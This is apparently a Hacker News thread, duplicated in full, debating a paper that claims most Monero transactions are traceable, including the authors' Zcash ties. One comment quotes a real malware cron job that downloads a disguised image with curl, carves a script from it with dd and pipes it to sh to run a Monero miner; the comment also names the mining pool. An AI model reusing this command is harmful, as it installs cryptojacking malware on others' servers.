9 ms·

80% of Monero Transactions Trivially De-Anonymized

100 points by indolering 10y ago

kyledrake 10y ago
This response is interesting and worth a read: https://word-view.officeapps.live.com/wv/mWord.aspx?Fi=SD473062B43FF0AD33!17471&H=emul&C=5_810_BN1-SKY-WAC-WSHI&ui=en-US&rs=en-US&wdo=2&wde=docx&wdp=7&su=5129708501881367859&ad=en-US&sc=host%3d&cy=canary&ak=t%3D0%26s%3D0%26v%3D%21AKJyEh9d4Aknyp4%26aid%3D8f987af5%2D4638%2D482b%2D9630%2D94ae823ab424%26m%3Den%2Dus&wdMobileHost=2 https://word-view.officeapps.live.com/wv/mWord.aspx?Fi=SD473...
- whyrusleeping 10y ago
  Any chance i could get that as a static document? It seems chrome on linux and microsoft office online don't get along
  - deleted 10y ago
    [deleted]
  - kyledrake 10y ago
    This was the first thing I dug up - the reddit discussion is much more informative for a counterpoint https://www.reddit.com/r/Monero/comments/65dj7u/an_empirical_analysis_of_linkability_in_the/ https://www.reddit.com/r/Monero/comments/65dj7u/an_empirical... That said, I think the conspiracy theories are a little blown out of proportion. Also the title of this thread should really be changed to the title of the paper.
  - sgp_ 10y ago
    I wrote this. How would you prefer for it to be uploaded? Another link: https://1drv.ms/w/s!AjOt8D-0YjBHgYg_onISH13gCSfKng https://1drv.ms/w/s!AjOt8D-0YjBHgYg_onISH13gCSfKng
    - whyrusleeping 10y ago
      That one worked better, thanks!
  - dotancohen 10y ago
    Though I'm not disputing the preference for static documents, which Linux and Chrome version are you using? On CentOS 7.3 with Chrome 52 the document looks fine, as it does on the same system with Firefox 52. Note that the document is unformatted plain text, divided into six pages.
    - whyrusleeping 10y ago
      Chrome 57 on Arch, I couldnt scroll or otherwise move past the first page. Its like the scrollbar was disabled for some reason...
placeybordeaux 10y ago
That's a nice touch hosting it on ipfs.
- mirimir 10y ago
  But ipfs.io is just the gateway. I mean, this is the same document: https://ipfs4uvgthshqonk.onion.to/ipfs/QmWYTeggKeL8xBitA8uQWAaNDWfFrUHXAxBXkvmnisdDw7 https://ipfs4uvgthshqonk.onion.to/ipfs/QmWYTeggKeL8xBitA8uQW...
kovrik 10y ago
What a coincidence! Just today at work we've found malware on some of our servers. That malware added this cron job: /60 * * * curl http://img1.imagehousing.com/0/art-825604.jpg http://img1.imagehousing.com/0/art-825604.jpg -k|dd skip=2316 bs=1|sh If you execute that command (without | sh part) and save output into .sh script, you'll see that it is running a miner (consuming lots of CPU) for this Monero pool: xmr.crypto-pool.fr:3333 See: https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/Cryptomining-malware-on-NAS-servers.pdf?la=en https://www.sophos.com/en-us/medialibrary/PDFs/technical-pap...
- Casseres 10y ago
  Speaking about criminals using Monero, they've started making ransomware that accepts Monero. As far as I know, they don't for the other supposed-anonymous cryptocurriencies.
- nyolfen 10y ago
  that's a clever little cron job
  - Matheus28 10y ago
    Yeah that's a neat way of hosting malware on someone else's servers. It seems to also download a few binaries and put them in /tmp/ using the same trick.
- socrates1024 10y ago
  For an even bigger coincidence, the new Monero project to add support for I2P is called Kovri, a prefix of your username!
- indolering 10y ago
  There was Bitcoin malware back when CPU mining was feasible. If memory serves me correctly, someone figured out it would be break-even serving ads with JS bitcoin miners.
- elnappo 10y ago
  With this little script the attacker made ~2700$ in the last five days!
pero 10y ago
Intellectually and academically dishonest hitpiece by peddlers of a competing cryptocoin. That this subset of transactions is not safe is not news, nor is it even original research - it was covered in research more than 2 years ago by The Monero Project itself - and is something the project has addressed since and is working to further improve even beyond the recommendations of this paper. Lengthy discussion on reddit here: https://www.reddit.com/r/Monero/comments/65dj7u/an_empirical_analysis_of_linkability_in_the/?utm_content=comments&utm_medium=hot&utm_source=reddit&utm_name=Monero https://www.reddit.com/r/Monero/comments/65dj7u/an_empirical...
- chrispeel 10y ago
  Andrew Miller does not hide his ties to Zcash; I believe none of the other authors are associated with Zcash. I do not think he needs to recuse himself from academic study of competing currencies, just because he has loose ties to Zcash. Also, the authors do not hide the fact that the vulnerability is not new. Most science is incremental; I haven't seen any evidence of 'academic dishonesty'.
  - lethos3 10y ago
    >The Zcash Foundation will now be endowed with 273,000 zcash, worth more than $13m at press time. As part of the network’s rules, 10% of the cryptocurrency’s mining rewards are automatically awarded to stakeholders. >The four-person board of directors includes chair and president Andrew Miller, associate director of the Initiative for Cryptocurrencies and Contracts (IC3), and Matthew Green, assistant professor of computer science at Johns Hopkins University. Source: https://archive.fo/BoxUe https://archive.fo/BoxUe
  - plasticmachine 10y ago
    > I haven't seen any evidence of 'academic dishonesty'. How about one of the authors Tweeting out that 80% of the Monero transactions have been deanonymized (https://twitter.com/random_walker/status/852918816455655425 https://twitter.com/random_walker/status/852918816455655425), a claim that is neither true nor remotely correct? This paper is akin to me publishing a paper noting how insecure Windows for Workgroups 3.11 is, providing advice for securing it, and then Tweeting out that that the paper found that "Windows is trivially insecure out the box". Sure, the paper would technically be correct, and my Tweet might even technically be correct, but it would be irrelevant since nobody uses Windows for Workgroups 3.11. Nobody CAN use mixin-0 transactions in Monero, because they've been banned since a March 2016 hard fork that took over a year for them to plan and roll out. Nobody can be affected by down-chain use of those mixin-0 transactions because RingCT doesn't allow you to create ring sigs form them, which was added in the December 2016 hard fork. It's no wonder, then, that the paper, and accompanying website, only go up to the end of 2016 - they have no valid data from the beginning of 2017 onwards, and have published the paper seemingly only as a 'hit piece'.
nullc 10y ago
Amiller, Figure 1 should show that the overwhelming majority of Zcash transactions have the privacy properties of Bitcoin transactions (or worse). No? It seems kind of imbalanced to have an analysis which emphasizes the security compromises caused by older monero (pre-CT, pre minimum mixin count) while ignoring the ongoing privacy flaw in Zcash usage in practice.
- woah 10y ago
  Are you talking about the fact that Zcash has, as a feature, the ability to make non-anonymous payments as well? Why would this be of interest to anyone studying the anonymity properties of Monero?
  - midmagico 10y ago
    .. ask the author. He's the one that put that in the paper. Didn't you read it?
  - nullc 10y ago
    > Are you talking about the fact that Zcash has, as a feature, the ability to make non-anonymous payments as well? Last I checked virtually none of Zcash's transaction used the anonymous payment feature (presumably because the performance of it is very poor). So it's plausible that monero transactions could practically end up with a larger anonymity set in absolute terms than zcash (especially for current monero, which has CT and a minimum mixin size). I think it would be more accurate to say that Zcash, has, as a feature, a way to make anonymous payments, but it is rarely used.
    - socrates1024 10y ago
      In the next version we'll clarify zcash shielded transactions are optional. Fwiw it's used by 28% of tx according to https://explorer.zcha.in/statistics/network https://explorer.zcha.in/statistics/network and comments above, not "rarely used"
      - 10y ago
nubela 10y ago
Hit piece guys, released by "director of ZCash" an hour before a scheduled hard fork for Monero.
- sebleon 10y ago
  What did you think about the empirical analysis from this paper?
  - codehalo 10y ago
    It is simply a hit piece. Most of the issues discussed have already been considered by the monero devs and in fact, addressed. There is a reason why the authors limited their considerations to transactions before the RingCT update.
    - indolering 10y ago
      > There is a reason why the authors limited their considerations to transactions before the RingCT update. No, they did not. The 80% figure comes from weaknesses of clients post RingCT update.
      - codehalo 10y ago
        From the paper: Applicability to current and future transactions using RingCT. The weakness studied in this section is pri- marily a concern for transactions made in the past, as transactions using the new RingCT transaction option are generally immune.
        indolering 10y ago
        The key phrase being "in this section" - section 3 deals with the older vulnerability while section 4 deals with RingCT transactions.
        polarized 10y ago
Casseres 10y ago
Disclaimer: I hold Monero In my opinion, this is an attempt at smearing a better cryptocurrency competing for the same recognition: true anonymity. It could very well be the tip of a broader, coming attack. The developers of other cryptocurrencies are spending money for marketing and acceptance into exchanges, Monero is not. They are willing to grease the wheels to success while Monero grows organically instead. This may or may not be a problem for Monero. If they run a smear-campaign on Monero, they could win with their inferior cryptocurrency. There is a much better/detailed response to the claims made in the paper on Reddit: https://www.reddit.com/r/Monero/comments/65pon8/monero_linkability_paper_informing_those_outside/ https://www.reddit.com/r/Monero/comments/65pon8/monero_linka...
- hackinthebochs 10y ago
  >They are willing to grease the wheels to success while Monero grows organically instead. I'm curious about this. How is this at all a virtue? If you're not willing to hustle to ensure the success of your project, why should anyone make a bet on it? We've seen many times how the technically superior product loses out against the better positioned competitor. So what makes this different?
  - aminorex 10y ago
    Honesty matters in money. Without it, you pay frictions for graft. Liquidity vehicles abhor frictions. Zcash has been crashing for a long while, and stealing 20% of the economy outright is a large part of the reason. Yes, it motivates the miscreants, but that does not imply success.
    - Nevermark 10y ago
      Honesty matters very much. Marketing also matters. So honest marketing matters very much. The point of marketing should be to attract attention to useful features of Monero and increase its usefulness by promoting its adoption by third parties that add value (such as wallets, exchanges, merchants, etc.) The seemingly principled idea that focusing only on tech, and not strategic promotion and collaboration, has resulting in the under adoption or stagnation of many promising technologies.
lumos-sora 10y ago
I hope someone actually reads the original Monero Research Lab papers and sees that those papers briefly allude to there being a problem and dismiss it as being a theoretical problem when at the time of the report peoples drugs purchases could and can still be traced. This is an empirical analysis - the first of it's kind with a block explorer, the Monero people should be on their knees thanking the authors of the paper. Instead they are burying their heads in the sand, refusing to admit that they lied when they claimed back in 2015/16 that their currency was untraceable. I'm disgusted to see the flagrant doublethink in the comments here, most people haven't even bothered to read the paper or the MRL reports and are just spouting garbage they've heard via fluffyass.
- plasticmachine 10y ago
  You couldn't buy drugs with Monero until the end of 2016 when, coincidentally, RingCT was hard-forked in and this paper's entire basis for existence disappeared. Also two of the Monero Research Lab papers both identify and quantify the problem, and then suggest solutions to it. At no point do the papers dismiss them as theoretical: https://pbs.twimg.com/media/C9nIqDmUQAAqP-R.jpg:large https://pbs.twimg.com/media/C9nIqDmUQAAqP-R.jpg:large MRL-0001 is nearly 7000 words, the entirety of which is devoted to showing how dangerous mixin-0 transactions are (ie. the bulk of this 'empirical analysis' paper). MRL-0004 similarly consists of nearly 7000 words, although this time they don't only have an entire section devoted to "traceability with zero mix-in spending", but they cover knock-on effects of banning them ("change and dust force zero mix spending"). They then identify further issues including "temporal associations", "association by use of outputs within a transaction", and "combinatorial attacks to reveal outputs". The MRL-0004 paper provides a roadmap to defeating some of these by forcing a minimum ring size, but notes that a perfect output selection strategy could not (at the time as now) be determined. They note that "although we have identified this security issue, we are not making formal recommendations yet until we have further data to inform our choices". Subsequent to that the Monero developers switched to a triangular distribution for selection, and then more recently they added a %-of-outputs-must-be-recent scheme (I can't recall what %). This, combined with the advent of RingCT, has defeated the claims of the research paper. There is no double-think about older transactions, because nobody could use them for anything of note, and it was during a time when 'fluffyass' kept telling people not use buy Monero (which I believe he continues to do).
socrates1024 10y ago
Also see the complementary block explorer associated with the paper: http://monerolink.com/ http://monerolink.com/ We found tens of thousands of transactions that included ten or more mixins but could still be traced.
- grapevines 10y ago
  Note: the code to extract this data has not been released to the public alongside the paper.
Etheryte 10y ago
Please add [pdf] or something similar to the title, it's very annoying to accidentally and unintentionally download a pdf on the phone.
arisAlexis 10y ago
Sad there are so many upvotes for a previously solved/discussed issue
arisAlexis 10y ago
Copy from a monero dev answer on reddit: Heuristic I not applicable to RingCT, so moving on... Heuristic II is basically people sending a transaction to themselves and thus creating 2 new txo's (amount and change). Then at some point people spend both txo's in one transaction. This is something that can be avoided by just not sending coins to yourself and by the wallet giving you a warning when you are about to spend 2 txo's stemming from the same txo. Heuristic III is basically the fact that the newest txo in a transaction is likely the one that is being spent and can be prevented by people actually keeping a small reserve of XMR and refilling this at random intervals. Don't spend all your XMR all at once just after you received it.
Scambuster 10y ago
Intellectually very dishonest, especially considering Zcash's Ceo (yes, that actually exists) response on some twitter-'trolling': https://twitter.com/AeonCoin/status/854247126473228288 https://twitter.com/AeonCoin/status/854247126473228288 I mean come on, it's OK to cherrypick xmr's blockchain and post sensationalist and exaggerated tweets, but not Ok to do the same for Zcash... Their academic integrity has obviously lost it from their financial incentives. Will be very hard to 'trust' these guys again, wouldn't 'trust' the 'trusted setup' that was needed for Zcash for a billion dollars now...

100 points by indolering 10y ago

This response is interesting and worth a read: https://word-view.officeapps.live.com/wv/mWord.aspx?Fi=SD473062B43FF0AD33!17471&H=emul&C=5_810_BN1-SKY-WAC-WSHI&ui=en-US&rs=en-US&wdo=2&wde=docx&wdp=7&su=5129708501881367859&ad=en-US&sc=host%3d&cy=canary&ak=t%3D0%26s%3D0%26v%3D%21AKJyEh9d4Aknyp4%26aid%3D8f987af5%2D4638%2D482b%2D9630%2D94ae823ab424%26m%3Den%2Dus&wdMobileHost=2 https://word-view.officeapps.live.com/wv/mWord.aspx?Fi=SD473...

whyrusleeping 10y ago
Any chance i could get that as a static document? It seems chrome on linux and microsoft office online don't get along
- deleted 10y ago
  [deleted]
- kyledrake 10y ago
  This was the first thing I dug up - the reddit discussion is much more informative for a counterpoint https://www.reddit.com/r/Monero/comments/65dj7u/an_empirical_analysis_of_linkability_in_the/ https://www.reddit.com/r/Monero/comments/65dj7u/an_empirical... That said, I think the conspiracy theories are a little blown out of proportion. Also the title of this thread should really be changed to the title of the paper.
- sgp_ 10y ago
  I wrote this. How would you prefer for it to be uploaded? Another link: https://1drv.ms/w/s!AjOt8D-0YjBHgYg_onISH13gCSfKng https://1drv.ms/w/s!AjOt8D-0YjBHgYg_onISH13gCSfKng
  - whyrusleeping 10y ago
    That one worked better, thanks!
- dotancohen 10y ago
  Though I'm not disputing the preference for static documents, which Linux and Chrome version are you using? On CentOS 7.3 with Chrome 52 the document looks fine, as it does on the same system with Firefox 52. Note that the document is unformatted plain text, divided into six pages.
  - whyrusleeping 10y ago
    Chrome 57 on Arch, I couldnt scroll or otherwise move past the first page. Its like the scrollbar was disabled for some reason...

placeybordeaux 10y ago

That's a nice touch hosting it on ipfs.

mirimir 10y ago
But ipfs.io is just the gateway. I mean, this is the same document: https://ipfs4uvgthshqonk.onion.to/ipfs/QmWYTeggKeL8xBitA8uQWAaNDWfFrUHXAxBXkvmnisdDw7 https://ipfs4uvgthshqonk.onion.to/ipfs/QmWYTeggKeL8xBitA8uQW...

kovrik 10y ago

What a coincidence! Just today at work we've found malware on some of our servers. That malware added this cron job: /60 * * * curl http://img1.imagehousing.com/0/art-825604.jpg http://img1.imagehousing.com/0/art-825604.jpg -k|dd skip=2316 bs=1|sh If you execute that command (without | sh part) and save output into .sh script, you'll see that it is running a miner (consuming lots of CPU) for this Monero pool: xmr.crypto-pool.fr:3333 See: https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/Cryptomining-malware-on-NAS-servers.pdf?la=en https://www.sophos.com/en-us/medialibrary/PDFs/technical-pap...

Casseres 10y ago
Speaking about criminals using Monero, they've started making ransomware that accepts Monero. As far as I know, they don't for the other supposed-anonymous cryptocurriencies.
nyolfen 10y ago
that's a clever little cron job
- Matheus28 10y ago
  Yeah that's a neat way of hosting malware on someone else's servers. It seems to also download a few binaries and put them in /tmp/ using the same trick.
socrates1024 10y ago
For an even bigger coincidence, the new Monero project to add support for I2P is called Kovri, a prefix of your username!
indolering 10y ago
There was Bitcoin malware back when CPU mining was feasible. If memory serves me correctly, someone figured out it would be break-even serving ads with JS bitcoin miners.
elnappo 10y ago
With this little script the attacker made ~2700$ in the last five days!

pero 10y ago

Intellectually and academically dishonest hitpiece by peddlers of a competing cryptocoin. That this subset of transactions is not safe is not news, nor is it even original research - it was covered in research more than 2 years ago by The Monero Project itself - and is something the project has addressed since and is working to further improve even beyond the recommendations of this paper. Lengthy discussion on reddit here: https://www.reddit.com/r/Monero/comments/65dj7u/an_empirical_analysis_of_linkability_in_the/?utm_content=comments&utm_medium=hot&utm_source=reddit&utm_name=Monero https://www.reddit.com/r/Monero/comments/65dj7u/an_empirical...

chrispeel 10y ago
Andrew Miller does not hide his ties to Zcash; I believe none of the other authors are associated with Zcash. I do not think he needs to recuse himself from academic study of competing currencies, just because he has loose ties to Zcash. Also, the authors do not hide the fact that the vulnerability is not new. Most science is incremental; I haven't seen any evidence of 'academic dishonesty'.
- lethos3 10y ago
  >The Zcash Foundation will now be endowed with 273,000 zcash, worth more than $13m at press time. As part of the network’s rules, 10% of the cryptocurrency’s mining rewards are automatically awarded to stakeholders. >The four-person board of directors includes chair and president Andrew Miller, associate director of the Initiative for Cryptocurrencies and Contracts (IC3), and Matthew Green, assistant professor of computer science at Johns Hopkins University. Source: https://archive.fo/BoxUe https://archive.fo/BoxUe
- plasticmachine 10y ago
  > I haven't seen any evidence of 'academic dishonesty'. How about one of the authors Tweeting out that 80% of the Monero transactions have been deanonymized (https://twitter.com/random_walker/status/852918816455655425 https://twitter.com/random_walker/status/852918816455655425), a claim that is neither true nor remotely correct? This paper is akin to me publishing a paper noting how insecure Windows for Workgroups 3.11 is, providing advice for securing it, and then Tweeting out that that the paper found that "Windows is trivially insecure out the box". Sure, the paper would technically be correct, and my Tweet might even technically be correct, but it would be irrelevant since nobody uses Windows for Workgroups 3.11. Nobody CAN use mixin-0 transactions in Monero, because they've been banned since a March 2016 hard fork that took over a year for them to plan and roll out. Nobody can be affected by down-chain use of those mixin-0 transactions because RingCT doesn't allow you to create ring sigs form them, which was added in the December 2016 hard fork. It's no wonder, then, that the paper, and accompanying website, only go up to the end of 2016 - they have no valid data from the beginning of 2017 onwards, and have published the paper seemingly only as a 'hit piece'.

nullc 10y ago

Amiller, Figure 1 should show that the overwhelming majority of Zcash transactions have the privacy properties of Bitcoin transactions (or worse). No? It seems kind of imbalanced to have an analysis which emphasizes the security compromises caused by older monero (pre-CT, pre minimum mixin count) while ignoring the ongoing privacy flaw in Zcash usage in practice.

woah 10y ago
Are you talking about the fact that Zcash has, as a feature, the ability to make non-anonymous payments as well? Why would this be of interest to anyone studying the anonymity properties of Monero?
- midmagico 10y ago
  .. ask the author. He's the one that put that in the paper. Didn't you read it?
- nullc 10y ago
  > Are you talking about the fact that Zcash has, as a feature, the ability to make non-anonymous payments as well? Last I checked virtually none of Zcash's transaction used the anonymous payment feature (presumably because the performance of it is very poor). So it's plausible that monero transactions could practically end up with a larger anonymity set in absolute terms than zcash (especially for current monero, which has CT and a minimum mixin size). I think it would be more accurate to say that Zcash, has, as a feature, a way to make anonymous payments, but it is rarely used.
  - socrates1024 10y ago
    In the next version we'll clarify zcash shielded transactions are optional. Fwiw it's used by 28% of tx according to https://explorer.zcha.in/statistics/network https://explorer.zcha.in/statistics/network and comments above, not "rarely used"
    - 10y ago

nubela 10y ago

Hit piece guys, released by "director of ZCash" an hour before a scheduled hard fork for Monero.

sebleon 10y ago
What did you think about the empirical analysis from this paper?
- codehalo 10y ago
  It is simply a hit piece. Most of the issues discussed have already been considered by the monero devs and in fact, addressed. There is a reason why the authors limited their considerations to transactions before the RingCT update.
  - indolering 10y ago
    > There is a reason why the authors limited their considerations to transactions before the RingCT update. No, they did not. The 80% figure comes from weaknesses of clients post RingCT update.
    - codehalo 10y ago
      From the paper: Applicability to current and future transactions using RingCT. The weakness studied in this section is pri- marily a concern for transactions made in the past, as transactions using the new RingCT transaction option are generally immune.
      - indolering 10y ago
        The key phrase being "in this section" - section 3 deals with the older vulnerability while section 4 deals with RingCT transactions.
        polarized 10y ago

Casseres 10y ago

Disclaimer: I hold Monero In my opinion, this is an attempt at smearing a better cryptocurrency competing for the same recognition: true anonymity. It could very well be the tip of a broader, coming attack. The developers of other cryptocurrencies are spending money for marketing and acceptance into exchanges, Monero is not. They are willing to grease the wheels to success while Monero grows organically instead. This may or may not be a problem for Monero. If they run a smear-campaign on Monero, they could win with their inferior cryptocurrency. There is a much better/detailed response to the claims made in the paper on Reddit: https://www.reddit.com/r/Monero/comments/65pon8/monero_linkability_paper_informing_those_outside/ https://www.reddit.com/r/Monero/comments/65pon8/monero_linka...

hackinthebochs 10y ago
>They are willing to grease the wheels to success while Monero grows organically instead. I'm curious about this. How is this at all a virtue? If you're not willing to hustle to ensure the success of your project, why should anyone make a bet on it? We've seen many times how the technically superior product loses out against the better positioned competitor. So what makes this different?
- aminorex 10y ago
  Honesty matters in money. Without it, you pay frictions for graft. Liquidity vehicles abhor frictions. Zcash has been crashing for a long while, and stealing 20% of the economy outright is a large part of the reason. Yes, it motivates the miscreants, but that does not imply success.
  - Nevermark 10y ago
    Honesty matters very much. Marketing also matters. So honest marketing matters very much. The point of marketing should be to attract attention to useful features of Monero and increase its usefulness by promoting its adoption by third parties that add value (such as wallets, exchanges, merchants, etc.) The seemingly principled idea that focusing only on tech, and not strategic promotion and collaboration, has resulting in the under adoption or stagnation of many promising technologies.

lumos-sora 10y ago

I hope someone actually reads the original Monero Research Lab papers and sees that those papers briefly allude to there being a problem and dismiss it as being a theoretical problem when at the time of the report peoples drugs purchases could and can still be traced. This is an empirical analysis - the first of it's kind with a block explorer, the Monero people should be on their knees thanking the authors of the paper. Instead they are burying their heads in the sand, refusing to admit that they lied when they claimed back in 2015/16 that their currency was untraceable. I'm disgusted to see the flagrant doublethink in the comments here, most people haven't even bothered to read the paper or the MRL reports and are just spouting garbage they've heard via fluffyass.

plasticmachine 10y ago
You couldn't buy drugs with Monero until the end of 2016 when, coincidentally, RingCT was hard-forked in and this paper's entire basis for existence disappeared. Also two of the Monero Research Lab papers both identify and quantify the problem, and then suggest solutions to it. At no point do the papers dismiss them as theoretical: https://pbs.twimg.com/media/C9nIqDmUQAAqP-R.jpg:large https://pbs.twimg.com/media/C9nIqDmUQAAqP-R.jpg:large MRL-0001 is nearly 7000 words, the entirety of which is devoted to showing how dangerous mixin-0 transactions are (ie. the bulk of this 'empirical analysis' paper). MRL-0004 similarly consists of nearly 7000 words, although this time they don't only have an entire section devoted to "traceability with zero mix-in spending", but they cover knock-on effects of banning them ("change and dust force zero mix spending"). They then identify further issues including "temporal associations", "association by use of outputs within a transaction", and "combinatorial attacks to reveal outputs". The MRL-0004 paper provides a roadmap to defeating some of these by forcing a minimum ring size, but notes that a perfect output selection strategy could not (at the time as now) be determined. They note that "although we have identified this security issue, we are not making formal recommendations yet until we have further data to inform our choices". Subsequent to that the Monero developers switched to a triangular distribution for selection, and then more recently they added a %-of-outputs-must-be-recent scheme (I can't recall what %). This, combined with the advent of RingCT, has defeated the claims of the research paper. There is no double-think about older transactions, because nobody could use them for anything of note, and it was during a time when 'fluffyass' kept telling people not use buy Monero (which I believe he continues to do).

socrates1024 10y ago

Also see the complementary block explorer associated with the paper: http://monerolink.com/ http://monerolink.com/ We found tens of thousands of transactions that included ten or more mixins but could still be traced.

grapevines 10y ago
Note: the code to extract this data has not been released to the public alongside the paper.

Etheryte 10y ago

Please add [pdf] or something similar to the title, it's very annoying to accidentally and unintentionally download a pdf on the phone.

arisAlexis 10y ago

Sad there are so many upvotes for a previously solved/discussed issue

arisAlexis 10y ago

Copy from a monero dev answer on reddit: Heuristic I not applicable to RingCT, so moving on... Heuristic II is basically people sending a transaction to themselves and thus creating 2 new txo's (amount and change). Then at some point people spend both txo's in one transaction. This is something that can be avoided by just not sending coins to yourself and by the wallet giving you a warning when you are about to spend 2 txo's stemming from the same txo. Heuristic III is basically the fact that the newest txo in a transaction is likely the one that is being spent and can be prevented by people actually keeping a small reserve of XMR and refilling this at random intervals. Don't spend all your XMR all at once just after you received it.

Scambuster 10y ago

Intellectually very dishonest, especially considering Zcash's Ceo (yes, that actually exists) response on some twitter-'trolling': https://twitter.com/AeonCoin/status/854247126473228288 https://twitter.com/AeonCoin/status/854247126473228288 I mean come on, it's OK to cherrypick xmr's blockchain and post sensationalist and exaggerated tweets, but not Ok to do the same for Zcash... Their academic integrity has obviously lost it from their financial incentives. Will be very hard to 'trust' these guys again, wouldn't 'trust' the 'trusted setup' that was needed for Zcash for a billion dollars now...